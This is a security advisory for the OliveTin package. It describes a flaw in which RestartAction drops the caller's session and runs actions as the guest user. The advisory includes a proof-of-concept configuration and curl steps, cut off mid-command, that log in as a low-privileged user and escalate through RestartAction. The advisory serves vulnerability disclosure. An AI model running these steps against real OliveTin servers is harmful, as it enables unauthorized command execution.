GitHub Security Advisory: GHSA-p443-p7w5-2f7f
Package: github.com/OliveTin/OliveTin (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-250: Execution with Unnecessary Privileges, CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
Vulnerable versions: < 0.0.0[PII_REDACTED]0458-cb46a597b246
Patched in: 0.0.0[PII_REDACTED]0458-cb46a597b246

Summary: OliveTin's RestartAction always runs actions as guest

Details:
### Summary
An authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run.

RestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.

This vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.

### Details
Affected files:

service/internal/api/api.go

service/internal/auth/authcheck.go

Relevant code in RestartAction:

```
return api.StartAction(ctx, &connect.Request[apiv1.StartActionRequest]{
    Msg: &apiv1.StartActionRequest{
        BindingId:        execReqLogEntry.GetBindingId(),
        UniqueTrackingId: req.Msg.ExecutionTrackingId,
    },
})
```
Authentication in StartAction:
```
authenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)
```
Issue:

1. RestartAction creates a new connect.Request object.

2. The new request does not preserve caller headers or cookies.

3. UserFromApiCall() attempts to resolve the user from the request.

4. Because authentication headers are missing, it falls back to the guest user.

5. If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges.

### PoC

Configuration:
```
defaultPermissions:
  exec: false

users:
  - username: low
    [CREDENTIAL_REDACTED]
    permissions:
      exec: false

  - username: guest
    permissions:
      exec: true

actions:
  - id: restart_bypass_action
    shell: |
      echo "pwned" > /tmp/olivetin_restart_bypass.txt
```

Steps to reproduce:

Login as low user
```
LOW_LOGIN=$(curl -sS -i -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \
  -H 'Content-Type: application/json' \
  -d '{"username":"low","password":"lowpass"}')

LOW_SID=$(printf '%s\n' "$LOW_LOGIN" | tr -d '\r' | \
  awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}')
```
Attempt direct execution (correctly blocked)
```
LOW_RUN=$(curl -sS -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"actionId":"restart_bypass_action"}')

echo "$LOW_RUN"
```
This should return permission denied.

Extract executionTrackingId from response:
```
TRACKING_ID=$(printf '%s' "$LOW_RUN" | \
  sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p' | head -n1)

echo "Tracking ID: $TRACKING_ID"
```
Call RestartAction:
```
curl -sS -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d "{\"